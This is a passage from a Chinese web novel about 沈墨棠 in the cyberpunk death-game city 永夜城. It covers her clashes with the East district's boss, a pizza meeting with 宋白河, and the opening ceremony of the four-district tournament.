要真是如此,那我能不能回到过去?回到奶奶健在的日子里……不,回到奶奶小时候,她青春年华的岁月中。
我跟她,肯定能成为很好的朋友,能一起长大,一起变老,一起见证彼此的一生。
让我回去吧,如果这些都是程序,那让我回奶奶年轻的时候吧。
让我回去吧。
一阵风起。
沈墨棠眼前朦胧一片,但很快收住情绪。
她眼眶泛红,神色凛然。
死吧。
我一定会死在游戏里,死在某个制定好的规则下。
死得一文不值,云淡风轻。
穹顶之际很快就没有半点风,仿佛这里连空气都不曾流动。沈墨棠在“黑夜”下静静平复心情,闭目冥想。
一双手伸向她身后。
……
窗外闷雷滚滚而过,打出明暗相隔的电光,风和雨自虚空落下,又迅速消失,完全不自然,刻意,像是被关在笼子里唱歌的鸟,像是拳击台上的搏斗厮杀。
假天气环绕的篮球馆里,一群身形各异的男女穿着统一的“东城校服”,被巨大的,幽绿的光幕照亮。
光幕里,是一个男人的轮廓投影,若隐若现晃动两下后,有些不耐烦地出声问道:
“人还没到齐吗?”
篮球场上、观众席上十数人,王潇站在离光幕最近的地方,身体往旁边的墙上一靠:“基本齐了,嗯……我看一下,还差小九没来……那个谁,让八戒去叫一下。”
“青九万!又是沈墨棠!”
光幕内的东庄勃然大怒,身影缩小又放大,似乎是在来回踱步:
“潇!你说!她是不是看不起我?!不然为什么每次叫开会都不来!”
倒也不是看不看得起的问题……
王潇张了张嘴,但轻咳一声生生咽下到嘴里的话。
篮球馆的角落里,斯旺半个身子隐藏在阴影里。他突然清了清嗓子,很快沙哑的嗓音传遍场地:“小九她说了,你每次开会都搞得跟小学生出早操似的,太羞耻了不来。”
“她说什么!?”东庄更气了,光幕隐隐约约有些波动。
“明明都已经赛博世界了,有什么事要商量,直接搞个线上会议不行吗?”斯旺模仿沈墨棠的阴阳怪气:“非要把人都叫到一起,还只能隔着个绿墙说话,这不是脱了裤子放……”
“放屁!”
光幕内的东庄大喝:“我们四个庄家,要不是因为被困在虚空,恨不得自己下场撕!还有啊!她个沈墨棠懂什么!你们说,她进城之后都干了点什么?只会不停地打游戏,一局接一局……光打就算了,她还非要出什么游戏攻略?蛤?把人家设计师好不容易设计出来的游戏都给搞废掉!别人难不难受我不知道,你做游戏设计的你不难受?”
斯旺掏掏耳朵,权当没听见。
其他蓬莱成员有些幸灾乐祸,有些和东庄一样头疼。
自从“新人战”结束,至今已经过了数百个小时。
这段时间里,沈墨棠作为全城最活跃的“青九万”,开始了她疯狂的游戏生涯——没有生存压力的她,反而是参加游戏最积极的人。
不仅如此,她在参与每场游戏后,都要将游戏心得发表在东城区的社交网络上。
很快《九万攻略》就在网上传疯了!
没人知道青九万这么做的目的……但她的攻略是真的香!
“这阵子所有人都在学攻略卡BUG,好多游戏都被破解咯。”另一个角落里,罗冰嚼着口香糖,和青七筒、青八筒窃窃私语:“得,那些游戏设计者根本跟不上沈墨棠破解游戏的进度。听老大说,大庄家好像还因此被其他庄家阴阳了,说咱东城的游戏设计者不行。”
“恐怕这次开会的内容,主要就是沈墨棠这件事吧!”青七筒百无聊赖坐在沙发上,“唉,大庄家在里头估计无聊得很,感觉一天是想开八次会。”
他一边说,眼神一边瞟向前方低头玩手机的青三万。
青三万是位安静的女孩,黑色的长直发覆盖住部分阴郁感,两颗又大又亮又水汪汪的眼睛看着手机。她身子蜷曲在座椅上,下巴搁着膝盖,看样子就知道是开小差刷着社交网络。
她正在浏览【青九万】的个人社媒,上面不只有被奉为圭臬的《九万攻略》,还有沈墨棠偶尔的个人博文:
***
第50小时。
永夜城是一座高科技全自动化的赛博都市,分为东西南北四个城区。#永夜城北城,#永夜城南城,#永夜城西城
目前还未见到任何“城主”或者“主办方”,永夜城连治安都由智能系统监管。#穿雨衣的陶瓷娃娃
……
第80小时。
见到休眠舱了,据说躺进去可以直接回到“太虚”。
按照设定逻辑,在“太虚”里的死是□□消亡,三魂七魄进入轮回;在永夜城的死是神形俱灭,魂飞魄散。#休眠舱
PS:东城的大部分游戏都和体力有关。
……
第100小时。
已知:
1,永夜城每4321个小时从“太虚”里唤醒/抓来一批幸运儿。四个城区的庄家将会在这些幸运儿里按队伍挑选,补充到自己的城区。
2,每隔四届新人战,举办一次四方战。大概是833天/27个月/两年半的时间。#新人战,#四方战报名
3,下一届四方战将在2000小时后进行。四方战是四个城区共同进行的一场大型游戏,每个城区将组建10人或以上的队伍备赛,获胜队伍将为所在城区的所有居民增加1000小时狗环时长。#青九万东城区的救星
4,根据设定,四个城区进行四方战的最终目的,是争取率先达成【十二本位】:当某个城区总共赢得12次四方战胜利,该城区所有居民都能摆脱这里,其余城区将遭受抹杀。#十二本位是什么,#南城赢了11次四方战
5,【蓬莱】的牌面划分:索子牌都是女性,筒子牌都是男性,万子牌都是曾经新人战里的“被淘汰者”。
PS:大庄家你的“运动服规定”认真的吗!请做个人吧,不要每隔10小时就在蓬莱放一次《运动员进行曲》!
……
第150小时。
已知:
1,来人呐,大庄家是一面会说话的墙!#东城
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大庄家。
2,“风牌”是进入四方战的门票,东城区需要“东风”。每个名额需要1张,所以至少需要10张“东风”牌。
PS:一个总想pua人的大庄家不是个好庄家。#东城大庄家
***
“够了!无视纪律!多次挑衅本庄家!将东城区搞得人心惶惶!必须惩罚!”
光幕人影来回伸缩,东庄的轮廓像是正在泼墙的油漆。
王潇听到身后传来拖拖拉拉动静,回头看向篮球馆入口,不知该喜该忧地说了句:“终于来了。”
沈墨棠脚上一双人字拖,满脸不情愿地被身旁的女人拽进来。
“来了来了!她想跳楼,在楼顶上哭呢!幸好我把她拉过来了,你有点难请哎!”拽着沈墨棠进来的女人毫无顾忌扯着嗓子,也不是很在乎沈墨棠愿不愿意,几乎是用扛的将她扛进篮球馆。
沈墨棠徒劳挣扎:“我没……”
“还得是八戒!”、“八姐厉害!”其他人不吝赞许。
青八条得意一笑,满不在乎地摆了摆手。
从外形上看,青八条姚紫文就是个正常的身高一米七左右的女人,但浑身上下一膀子蛮力,可以单手举起一个成年男性,一腿能踹开水泥墙。
沈墨棠心里再怎么不情愿,但身体却难以抗拒。
“辛苦你了,八戒。”王潇朝姚紫文点头示意。
沈墨棠默默叹了口气。
自己倒霉,身处东城。东城因为大庄家的偏好,大部分游戏的设计都和体力有关。
为了成功“抢风牌”,参加四方战,沈墨棠不得不考虑提升自己的身体素质,强迫自己尝试一件完全不喜欢的事情——运动。
在没有完全探索“永夜城”世界的秘密前,她还算有活下去的动力。
基于王潇的介绍,青八条姚紫文成为了沈墨棠的健身教练,也是为数不多敢对沈墨棠动粗的人……
***
第300小时。
太虚一直在坍缩。
假设太虚里的灵魂总数不变,每次新人战都会有一部分灵魂被唤醒。
按照这个设定,太虚总有一天会空。
PS:虽然不喜欢流汗,但适当运动运动吧。八姐你的健身计划来真的吗!#青八条
***
“青九万,为什么不穿衣服!”
东庄的语气严厉,巨大的幽绿光幕缓缓波动。
穿了啊!
沈墨棠疑惑,低头瞟一眼自己搭配的休闲运动装,轻轻摇了下头表示不解。
附近的范诺琪从观众席上跳下:“大庄家是问你为什么不穿‘运动服’……”
“太丑,狗都不穿。”沈墨棠说完后,看向篮球场中每一个穿着“东城运动服”的人,轻咳一声后,视线定定目视前方。
“我也知道丑啊。”范诺琪叹了口气,嘀咕着走开:“我就多余问。”
“沈墨棠!你太过分了!”
东庄暴怒地扯着嗓子:“你没来之前,东城大家都很和谐!每个人都穿运动服!”
“我们城区的居民在游戏中都团结互助,挑战自我!大家都有强烈的羁绊和勇气!我们要共同赢得胜利!”
“但你……你看看你干的好事!全城人的风气被你带到哪去了!”
“你身为蓬莱有‘牌面’的人,肩负着‘青九万’的名号,怎么可以公然鼓励大家破坏这里的一切!”
“沈墨棠,你真的……真的太过分了!”
大庄家的怒吼响彻篮球馆,那晃荡的光幕几乎要震出涟漪。
沈墨棠有恃无恐地坐靠在裁判席上,翘着腿,目光阴冷挑衅:“有本事你出来呀?”
69. 蓬莱2
“太过分了!”
东庄的身影在光幕中忽大忽小。
打又打不到、骂又骂不过,急也没有用,说到后面连开会是为什么都忘了。
会议最终不欢而散。
一散会,沈墨棠就直接往停机坪去,搭乘飞行载具前往下城区。
虽然“八戒教练”姚紫文说过“增肌的时候最好多吃蛋白质”,但沈墨棠还是直奔“青芸披萨店”。
这家的披萨简直绝了!
有嚼劲的饼皮中间松软,边缘酥脆,铺料搭配合理,口感味道丰富。
这次试一试青椒……不,还是风味烤肉披萨最经典……唉,为什么肚子不是无限大的啊!
对了,要再打杯满气的碳酸饮料!
飞行载具稳稳停在下城区复员南路656号5层,青芸披萨店门口,抬头便是披萨店低调的霓虹招牌。
相比起其他争奇斗艳的店面,青芸披萨店倒显得有些“复古”。
沈墨棠不是第一次来了。
根据永夜城的规矩,虽然下城区的居民无法随意前往【蓬莱】,但是已经飞升的“飞升者”可以随时回到下城区,想去哪就去哪。
这也是【蓬莱】里人不多的原因。若不是提前约好见面,平时偶尔也就是刚好碰上打个招呼。
毕竟“飞升者”们有些专注在“抢风牌”,有些在下城区瞎晃悠,或者在上城区摆烂,有些在诺大的酒店内忙着自己的事情。
只有在大庄家叫开会的时候,大家才有可能聚到一起。
沈墨棠问过王潇——王潇作为目前【蓬莱】的“老大”,东城区的“二把手”,对成员名单了如指掌。
相比起据说夸张到“飞升者要排队领牌面”的南城,东城的飞升者显得有些清冷,不过寥寥十数人。
要不是每届新人战后,城内时不时出现几个愿意留在永夜城的飞升者,不然恐怕连参加“四方战”的人数都凑不齐。
这件事让大庄家头疼不已,尤其是在南城已经赢了11场“四方战”的紧迫情况下。
说起这件事的时候,沈墨棠跟着王潇往沙发上摊:“缺人?那为什么还阻止我发攻略?”
王潇:“啊?”
沈墨棠:“越多人看攻略,就越多人飞升,你就能继续施展那套‘庄周梦蝶’。”
“哈哈。”青二条笑得爽朗,语气中却有些遗憾:“大家想飞升,不过是希望能躺进休眠舱,回到太虚而已。”
“真正愿意留下来,参加四方战的人,凤毛麟角。”
说着,王潇投来目光:“小九,你为什么留下来呢?”
留下来……
沈墨棠从来没想过这个问题——自己为什么留下来,执着于参加“四方战”?
就像是追一部剧,不看到结局心痒难耐;就像是一趟旅程,不到终点难以释怀;就像是一道谜题,算不出答案就抓耳挠腮。
这个世界,有太多的谜团,太多可供玩乐的生死游戏。
留下来,不是理所应当吗?
“你好,要点什么?”
披萨店员亲切的询问声打断沈墨棠的思绪。
柜台后的“店员”是仿生的机器人,脸上挂着以假乱真的职业笑容,没有恐怖谷效应,丝毫不会令人产生不适。
“薯角培根披萨,一人份,呃……六寸的就行。”
沈墨棠点完单,就近找了个位置坐下,等待新鲜现烤的披萨出餐。
等餐的间隙,店内偶尔也会有其他顾客光临,都是下城区居民。这些或愤然或呆滞的玩家,不论男女老少脖子上都佩戴着“狗环”,剩余时间有长有短。有些人还对狗环进行了装饰性的喷涂,加上颇有个性化的颜色图案,或者干脆戴上大金链子像个rapper。
当然,也有像沈墨棠这样,用衣领或者围巾遮挡住脖子。
居民们对“狗环”以及永夜城的生活都习以为常了。
“嗯?”
沈墨棠正准备打开个人社媒看看信息,抬头却看见披萨店门口,一个熟悉的身影开门走进店内,闯入自己视野中。
挺拔的脊背,结实的躯干和四肢,穿着件新外套,清爽的碎发底下是肤色均匀的干净脸庞,两只平静的眸子缓缓扫过店内,最终和她四目相对。
一瞬间,那双眼眸倏地亮了起来。
他大步穿过店厅,直奔这边而来,期间还不小心差点撞翻了一个顾客的餐品。
沈墨棠坐在角落,看着对方略显僵硬的身影靠近。
隔了数百个小时,两人再次相见。
“沈……咳,嗨!”他的打招呼有点生疏:“终于等到你了!”
“等我?”沈墨棠仰头,稍显疑惑。
“对,你。”宋白河站在座位对面的过道处,似乎是鉴于沈墨棠表情淡漠,因此没敢再靠近,眼神闪躲了一下,“啊,我也觉得这家披萨蛮好吃的。”
沈墨棠皱了下眉头。
“咳嗯。”宋白河脸色尴尬地清了清嗓子,迅速跳过话题:“我有看你做的攻略,很好用……”话说到一半,为避免尴尬似的,他回身找了个附近的空桌位。刚想坐下又停住,随即起身问:“你吃什么?我帮你……”
“不用,点了。”
“啊,哦好。”宋白河迅速应了句,低头走向柜台。
“建议你点一份风味烤肉披萨。”沈墨棠想到了什么,抬了下眼角。
“风味烤肉?”
“对。”
“哦哦,好的!”宋白河点头。虽然不清楚沈墨棠这么做的目的,但既然是她提出的,一定有道理。
“要一份风味烤肉披萨,”宋白河点单,加了一句:“再要两瓶汽水。”
简单复古的披萨店内,一女一男对坐窗边。
赛博都市里,霓虹灯光绚烂闪烁,仿若星辰坠地,置身银河。
那种怦然撞进记忆深处的力量,能够牢牢抓取一块空间,用滚烫的烙铁烧出如轻纱拂过的柔软。飞行载具和电子音乐远近嘈杂,却丝丝入耳,像是能让人眼睛明亮的温柔耳语。
很快,餐品上齐。
沈墨棠从两份披萨中各自捞出一块,叠在一起之后,大块朵颐——有了现成的饭搭子,终于能一次性吃两种不同口味,还不怕浪费食物了!
披萨店回荡着蒸汽波风格的音乐,宋白河拉开手上的易拉罐汽水,递给沈墨棠。
沈墨棠接过汽水,满足地咕嘟咕嘟。
“这顿是欺骗餐吗?”宋白河小心翼翼往嘴里塞着披萨饼,尝试开启话题。
沈墨棠很快喝光一瓶汽水,打了个嗝:“欺骗餐?
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”
坚持运动和控制饮食的人,往往会在连续几天吃低脂低能量的食物后,给自己来一次高能量、高碳水化合物的美食,放纵一次。这顿饭被叫做“欺骗餐”或者“放纵餐”。
“你说过你在健身。”宋白河不禁小声问:“你不怕青八条知道追杀你?”
“哦。”沈墨棠反应过来:“没那么多事……我就随便练练。”
吃饱喝足,两人情绪也都放松下来。
沈墨棠指了指宋白河的“狗环”:“你最近赢了不少。”
宋白河伸手摸向自己的“狗环”,剩余时长已经累加到四位数。他眼神中闪过一丝侥幸:“嗯。我想早点上【蓬莱】,米米她也是……所有下城区的人,都想早点摘掉这东西。”
说到这里,他深吸口气,认真问:“你真的要参加四方战?”
“嗯?”沈墨棠转着空汽水瓶,清冷的眼中闪过一抹光:“是啊。”
两人突然沉默,只剩下店内的蒸汽波音乐。
宋白河再次开口:“沈墨棠,我,我想……如果来得及,我想跟你一起去四方战。”
一起去?
沈墨棠抬眼,对上宋白河坚定的眼神。
“你不想回太虚吗?”她饶有意味微笑着,“回到原来的世界?”
“我……不想进休眠舱。”宋白河移开视线,但看向窗外的目光灼灼:“这里是什么地方,我必须先弄清楚。而不是糊里糊涂的……躺到什么地方,然后‘意识上载’或者怎么样。”
“嗯……”
沈墨棠收起了笑。
原来,还是有人想要探寻真相,而不是做着什么“回到现实”的梦。
“我先走了。”她站起身:“剩下的披萨交给你。”
宋白河看了眼桌面剩下的两张半份的披萨饼,张了张嘴:“那,我……”
“做你想做的吧。”沈墨棠说完,头也不回地离开了披萨店。
宋白河目送她的身影消失在门外,放在外套口袋里的手,终于有勇气缓缓抽出,手中握着一个小小的玻璃瓶。
一根黑色的发丝静静躺在瓶中。
……
永夜城的穹顶亘古不变,从来没有寂静的午夜,也没有更深沉的凌晨,仿佛城内的人们从来不觉得日夜变化有什么迷人的地方。毕竟当倦怠席卷全身,再怎么动荡也难以令人产生打破枷锁的错觉。
生命流逝在可有可无的叙述中,延绵在疯狂的虚妄里。
离四方战还剩350小时。
“辛苦了,斯旺。”王潇搂着吹乱的发丝,微笑致意。
【蓬莱】停机坪刮着罕见的大风,斯旺在狂风呼啸中点点头,略感好奇多问了一句:“老大,这两人有什么特殊的,至于您亲自迎接?”
“哈哈,你知道的,最近飞升的人虽然多了,但躺回休眠舱的也多啊!”王潇拍拍斯旺的肩膀,无奈叹了口气:“咱们参加四方战的人还没凑齐呢!大庄家让我多给新飞升的人做做思想工作。”
“了解。”斯旺没打算知道更多四方战的事情,说了句“那人就交给您了”,然后伸了伸懒腰,头也不回离开。
“辛苦啦!”王潇回望着斯旺的身影,眼神中透出思索和遗憾。
她身前,一男一女正踩上【蓬莱】的地面。
70. 四方战1
永夜城内不分白天黑夜,没有阴晴冬夏。
赛博穹宇高不可及,笼罩着这方光怪陆离,孕育生死相搏的游戏。
永夜城里没有真正的活着。身在其中的人也很难静下心。
如果真的静下心,就会深切感受到,那种隐藏在喧嚣绚烂之中的,深刻的孤独。
也许,这个世界,这个宇宙,就真的只有这一座城。
而人们就只能活在这1/4城区。
“斯旺,他们出发了。”青八筒半个身子从门后探入天台,尽量收起自己的地方口音:“你去看看嘛?”
天台能仰望一成不变的穹宇,也能俯瞰灯河流转的下城区。
“老八啊?不了,不去了。”斯旺站在平日里最喜欢的位置,只回了个侧脸,看上去没什么情绪上的起伏。
青八筒熟悉思旺的脾性,当下也没再招呼。
刚转身,就见到青三万黑长直的头发随风飘起,正快步往顶层俱乐部跑去:“八哥,马上要开始了,老大在给他们做战前动员呢!你要不要去凑凑热闹?”
“哎!晓得。”青八筒离开一心摆烂的斯旺,跟上了青三万,“走嘞,咱壮壮声势去!”
四方战,终于要开始了。
……
顶层俱乐部,里侧大厅。
光幕中的东庄若隐若现。
“人都到齐了!来吧,我们把风牌都亮出来!大家加油!”
王潇看向东庄,随后清了清嗓子,朗声带着身旁的青五条范诺琪、青八条姚紫文、青一筒罗冰、青七筒徐天然,相继掏出一块巴掌大小的麻将牌。
这张麻将牌是用特殊材质制成的,上面刻有【东风】二字,正是“四方战”需要的风牌。
大庄家又搞这种形式主义……
“更衣室动员”么?
沈墨棠默默翻了个白眼,刚想无视这种小学生行为,就看到身旁有人已经举起手。
是宋白河。
或者说,是“青三筒”。
宋白河三百个小时前飞升了。
还没等王潇去动员,他就主动选择参加“四方战”。过去的三百个小时里,大庄家连《运动员进行曲》都不播了,每十分钟播放一次对宋白河的口头表扬。
沈墨棠侧目,宋白河穿上“东城运动服”竟然意外的适合,仿佛他就是这套制服的代言人,一副阳光开朗,积极向上的模样。
宋白河本身就是体院的,运动服肯定合适。
但是……另一个人为什么也出奇的合适……
沈墨棠默默看向另一边。
人群中的米米,也跟着亮出风牌。穿着“东城运动服”的她可可爱爱,运动服在她身上显得生命力极为旺盛。
【蓬莱】的“青三条”。
沈墨棠和米米对视一眼,后者投来一个微笑。
……大庄家是不是在这套破运动服上动了什么手脚?
怎么别人穿就都好看?
“沈墨棠,别浪费时间了。”
身后伸出一只纤细的胳膊,亮出风牌的同时轻碰了沈墨棠一下。沈墨棠侧首,对上一双伶俐的眼神。
身后凑上来的女人是“青六万”周彤。
周彤身材矮小,脸庞却精致异常,远远看去像一尊精致的手办。
可却总让人不敢轻易直视她的脸盘,因为那双伶俐的眼中总藏着最冰冷的光。
沈墨棠很少对人产生“敬畏”或者“恐惧”的感觉——周彤是个例外。
物理输出太高,高到让人见过一次就很难忘记。
冷静到恐怖的存在。
但现在,她眉目弯起,嘴角虽然向上扬,可语气中带着明显的不耐烦……
沈墨棠无奈,赶紧从口袋中掏出自己的风牌。
见沈墨棠也亮出风牌,王潇哈哈一笑,对人群外围的一个大块头说:“筒子哥,差你了。”
“来了。”大块头一手端着刚泡好的药茶,另一条胳膊越过人群肩膀,将风牌跟大家凑到一起。
大块头是“青九筒”邓向南,通常大家都叫他“筒子哥”,是个身高190的肌肉猛男,胳膊有常人大腿粗,大腿有常人腰粗,整一个肌肉怪物。
但是他不喝蛋白粉,不吃鸡胸肉。
只爱喝药茶。
“好了,一起哈!”王潇满意:“三二一大家加油,四方战必胜!三,二……”
“一。”
“加油!”、“四方战……”、“耶”、“必胜!”、“……”十个人七嘴八舌,加油声一地稀碎。
“你们认真点啊!”光幕里的东庄沉不住气了。
“再来再来,再来一次。”王潇出声。
“哎呀,不来了,挺好的……”
“再来一起呀!”
……
“开始了。”
斯旺靠在天台边缘,被空中变换的光照亮。
几乎永恒不变的永夜城穹宇,破天荒出现巨大的电子光束——这是四方战才会有的奇景,预示着永夜城最大、最重视的盛典,正拉开帷幕。
29、28、27、26……一个个巨大的倒计时,跟着有节奏的如雷般的音乐鼓点,一秒一秒跳跃。
轰隆隆的电子音乐恢弘而热血,逐渐酝酿氛围,犹如审判日落下的梵音,笼罩整座赛博都市。
在空中那些全息投影的巨大数字背后,是一幕幕变化的场景,一个个选手的升格特写,昂扬、惆怅、决绝、喜悦、兴奋、迷惘……有男有女,有老有少……有东城,也有南城、西城、北城。
其中有几张面孔特别抓眼,例如西城的“白七条”,或者南城的“朱三筒”,当然,东城“青九万”冷酷的齐刘海也在其中一闪而过。
20、19、18、17……面孔和面孔之间,有永夜城的全景、四方战的场地展示、风牌特写、鲜血、狗环、跳动的倒计时、往届胜利团队的结算画面、失利团队的狼狈惨状……各种标志性和代表性的场面夹杂其中,伴随当时红蟹激扬的呼喊,笼罩城市的穹宇变成最奢华的巨大观赛屏幕。
恍惚间天神乱斗,恶鬼四起,令人开始想象这届四方战会何等精彩而惨烈,血脉喷张!
目不转睛,心潮澎湃,激动得浑身发抖。
破碎的毁灭般的音效打破节奏,嘻哈风格的音乐伴随着富有腔调的饶舌,天幕变成绚烂华美的梦幻舞台,优雅的歌姬和光芒四射的舞者带来充满力量感的表演,声光电目不暇接。
嘻哈,摇滚,电子,歌剧……连续几段振奋人心的表演过后,随着音乐渐渐沉寂,灯光暗淡,天地间仿佛都归于短暂寂静。
“欢~~迎来到第31届永夜城四方战!”
红蟹夸张的声音压得很低,用力粗着嗓子,像是在咆哮,像是泰坦巨人的呢喃回荡城市:
“经过了20000个小时……”
“4场新人战的选拔厮杀……”
“全城近5000场游戏对决……”
“超过1000名玩家死亡……”
“我们从第30届四方战的余波中摸石过河,砥砺前行,期间有71名幸运儿成功飞升,却仅有33人选择留在现实……”
“时间,
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会证明一切。”
“如今,此时此刻,我们迎来了全新的挑战!”
“四支队伍已经被组建,四城的战火再次被点燃。群雄逐鹿,谁能问鼎桂冠,获得本届四方战的最终胜利?”
“接下来,让我们用最期待的心情,最狂烈的热情,最饱满的激情,迎接第31届四方战四支队伍的首次全城亮相啊啊啊哇呜!!!”
夸张做作的怒音拉得很长,紧随而至的是爆裂的鼓点,电子烟火炸满城市上空,一阵接一阵,直到从天而降的一条条光柱渐渐密集,汇成一道平面的青色光幕。
全城大大小小款式不同的每个屏幕中,都跳出四方战开幕舞台的直播画面。
画面中,东、南、西、北四道光幕和城区内的光幕一样,城区的光幕就是舞台场地的巨大化全息展示。
红蟹扯破喉咙般的呼喊再次响起:
“让我们有请本届四方战的庄家,拥有三名新人加入、实力不容小觑的、至今取得过5次四方战胜利的——东,城,蓬,莱!”
随着话音一顿,位于【蓬莱】天台边缘的思旺,目光也被占据整个东城的巨大的青色光幕吸引。
四方战会场内,东城的十个参赛者陆续从光幕后走出。
每当他们经过光幕的时候,城区内的光幕也会出现他们巨大的全息身影慢放,将出场的瞬间深深烙在每个观众的脑中。
背景音乐变成某种浓浓校园风的进行曲。
“青二条!”
“青三条!”
“青五条!”
“青八条!”
“青一筒!”
“青三筒!”
“青七筒!”
“青九筒!”
“青六万!”
“青九万!!!”
代表东城蓬莱的十名参赛者尽数亮相,穿着清一色的“东城运动服”,站在标注着“东”字的半圆形舞台上。
仿佛一群上台领奖的中学生。
背景音乐突然一变,直播画面切到了一片紫黑色的光幕前。
昂扬向上的进行曲变成抓马的歌剧音乐《夜后咏叹调》,红蟹的介绍也换了个语调:
“让我们有请狂拽酷帅的邪魅天团,每届成员都大换血、神秘莫测的、至今取得过6次四方战胜利的——北,城,天,池!”
虽然从斯旺的视角看不到北城区的盛况,但想来也是和东城一样,会有着一道贯穿整个城区的光幕,颜色肯定是紫黑色的。
直播画面中,北城的十位参赛者陆续走出。
他们穿着富有设计感的黑色系服装,每个人打扮时尚而各不相同,有轻纱、有皮革、有柳丁、有绒布、样式华丽而典雅,整体却统一不跳脱。
仿佛是参加以黑色为主题的高级舞会,每套穿搭都会在不同地方饰有“玄”字的花纹。
“玄一条!”
“玄七条!”
“玄九条!”
“玄一筒!”
“玄二筒!”
“玄四筒!”
“玄六筒!”
“玄七筒!”
“玄二万!”
“玄五万!”
北城的集结画面充满了典雅神秘的哥特风,成熟而性感,各有各的魅力。
……
东城,下城区。
一间高科技的健身房内。
万梦浑身是汗坐在器械上,张嘴望着电视直播画面。
“那个人……也飞升了?”
北城的参赛者当中,有张熟悉的面孔——玄一筒,司徒雅。
71. 四方战2
后脑微微刺痛,异样的感觉很快传遍全身,转瞬即逝。
沈墨棠站在写着“东”字的半圆形舞台上,等待这场所谓的“开幕式”完成。
在进四方战之前,大庄家已经开过会,将进场后的一些流程交代清楚。
包括穿过这道光幕的瞬间,就代表着脑内被植入了传感器,将会用于四方战人员的定位等等。
场地“咿啊呀呜”的歌剧激昂唱调中,灯光全都汇集到北城的半圆形舞台处,其他地方暂时显得更暗许多。
“哎我说,咱咋觉着对面老往这边眼神招呼呢?”罗冰胳膊肘轻捅宋白河,仰着头大声道。
经他这么一提醒,站在团队C位的王潇也认出来了,侧头问沈墨棠:“那两个,是跟你们同批来的吧?你们这一批新人倒是不简单。”
新人?沈墨棠收回审视开幕式场地的目光,看向北城十人。
站在离她最近的米米已经在回应王潇:“没错,老大。那个玄一筒是跟我们一批的,我没记错的话……真名是叫司徒雅。其他的,好像没有了吧?”
她的目光投向沈墨棠和宋白河。
宋白河点头确认:“嗯,就是新人战第一局,那个一开始就把……把人活生生打死的那个人,其他的应该不是吧?”
“玄一条也是。”沈墨棠抬了抬下巴,她对“司徒雅”倒是没有什么印象,但对面“玄一条”那张毫无血色的苍白面孔倒是让人记忆深刻,新人战最后一局的聪明人。
“叫李漫漫。”
新人战中一直呆在“活人水棺”的沈墨棠,只在最后【有问必答】游戏里见到过其他人,其中就有北城的李漫漫。
宋白河和米米在【水火相容】过后就进了永夜城,只认得之前出场过的玩家。
“北城还是一如既往的乱来啊。”范诺琪调整着自己头上五颜六色的皮筋发卡,在另一侧大声感慨:“这次又是大换血……好像上届的人一个都没来?”
“是。”周彤平淡得像是没有情绪的声音从沈墨棠身后传出:“老娘没办法报仇了。”
站在她身边的几个人,突然生理性地觉得背脊骨莫名发冷,没有回头,只是默契地都往旁边挪了挪。
沈墨棠脚尖才刚抬起,胳膊却被身后的一只钢钳般的手钳住,整个人被硬生生拽在原地!
周彤的声音再次响起:“站稳。”
“是啊是啊,小九啊!你就听彤姐的吧,老大说了,你这次可是咱们东城的智力担当!”侧后方的青八条姚紫文不动声色捏捏沈墨棠肩膀,打破周彤不经意间营造出来的恐怖氛围:“这段时间的训练还是有点效果的,小身板直了很多啊,就站这,刚刚好!”
借助永夜城卓越便利的科技产品,加上八姐正确的科学管理,虽然加起来近800小时的训练时间不算很长,但也初有成效。
场地灯光下,穿着“东城运动服”的沈墨棠看起来没有那么瘦弱了,四肢躯干都展现出一些力量感,不再像之前那样与东城格格不入。
当然,齐刘海后那对清冷的眸子,依旧震慑人心,令人过目难忘。
沈墨棠深吸了一口气。
终于进四方战了……
这场全城瞩目的游戏盛典,究竟是什么样子的?
一切的谜团,都要在那一场场生死博弈之间,见缝插针地解开。
沈墨棠偷偷捏了捏右手食指,兴奋地难以自持。
北城亮相完毕,歌剧音乐迅速淡出。BGM一秒切成某种气势恢宏的交响乐,夹糅民俗特色的乐器,听起来雅俗共赏。
红蟹装出一种字正腔圆的播音腔:
“让我们有请硬派沉稳、团结有序、敢打敢拼、有历届明星选手带队的、至今取得过8次四方战胜利的——西,城,昆,仑!”
西城的十人依次穿过白色光幕亮相,不论男女老少,统一穿着黑色的西裤和白衬衫,显得又老气又干练。仔细看的话,能发现他们每个人佩戴的灰色条格领带上,都饰有一个标注着“西”的玉白色领带夹。
“白四万!”
“白九万!”
“白二筒!”
“白四筒!”
“白五筒!”
“白八筒!”
“白九筒!”
“白二条!”
“白六条!”
“白七条!!!”
十个人交错站成前后两排,女性在前,男性在后,仿佛是要拍摄什么企业宣传照似的,就差侧着身体把胳膊抱起来了。
最后出场的白七条很自然穿过人群,站在前排中心,众星拱月。
“白七条。”周彤的声音再一次在沈墨棠耳后响起:“西城绝对的领袖,团队主心骨,已经参加过五届四方战。”
“不是连续参加的,中间缺席过一届。”
王潇回头露出微笑,补充道:“那一届西城输得一塌糊涂,全死光了。后来她就每届都参加,一直都在。”
沈墨棠凝眸望向对面。
白七条在资料上是个40岁左右的女士,但或许是灯光的关系,她真人看起来更年轻些。
忽然间,对方像是感受到什么,视线投向这边。
虽然相隔很远,灯光绚烂,身边都是人。但沈墨棠还是明确感觉到,白七条那魄力十足的眼神正与她对视,如同两道激光打了过来。
沈墨棠定定回望,视野中白七条的嘴角微微上扬。
灯光暗淡,音乐再次变换。
抓耳的贝斯奏响节奏旋律,House音乐混合着电子、嘻哈,令人蠢蠢欲动,心潮雀跃。
红蟹夸张大叫:“呃~~呜呜~啊啊呀!!!最后向我们走来的,是永夜城的准赢家,是即将冲击【十二本位】的最强战队,是将要带领南城冲破永夜边境的勇者,是将要抹杀其他城区的大恶魔!是至今取得过11次四方战胜利的——南,城,建,木,木木muuuuu!”
“让我们一起迎接恐惧吧!”
嘭!嘭!嘭!
三轮烟火齐射,红色鲜艳如火的光幕之后,走出一个个鲜活的人。
南城十人穿着款式各异的简单休闲服装,卫衣、运动裤、休闲西裤、背心、T恤、运动鞋、板鞋……全都是日常得再不能的穿搭,唯一的共同点是所有服装都是粉红色系的,看起来像是一个街头舞团。
“朱一筒!”
“朱二筒!”
“朱三筒!”
“朱四筒!”
“朱一条!”
“朱二条!”
“朱三条!”
“朱一万!”<
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“朱二万!”
“朱三万!”
很明显感受得到,南城出场的时候,其他三个阵营的成员都凝重许多。
与穿着的嘻哈风格截然不同,南城给人带来的压迫感,宛若一首疯狂的哀乐,奏响他人的挽歌。
南城已经赢了11场四方战,只差一场就能达成【十二本位】,带领南城区的居民离开这里。
至于其他城区,将迎来被抹杀的结局!
对于东、北、西三个城区而言,确实是到需要同仇敌忾的时候了。
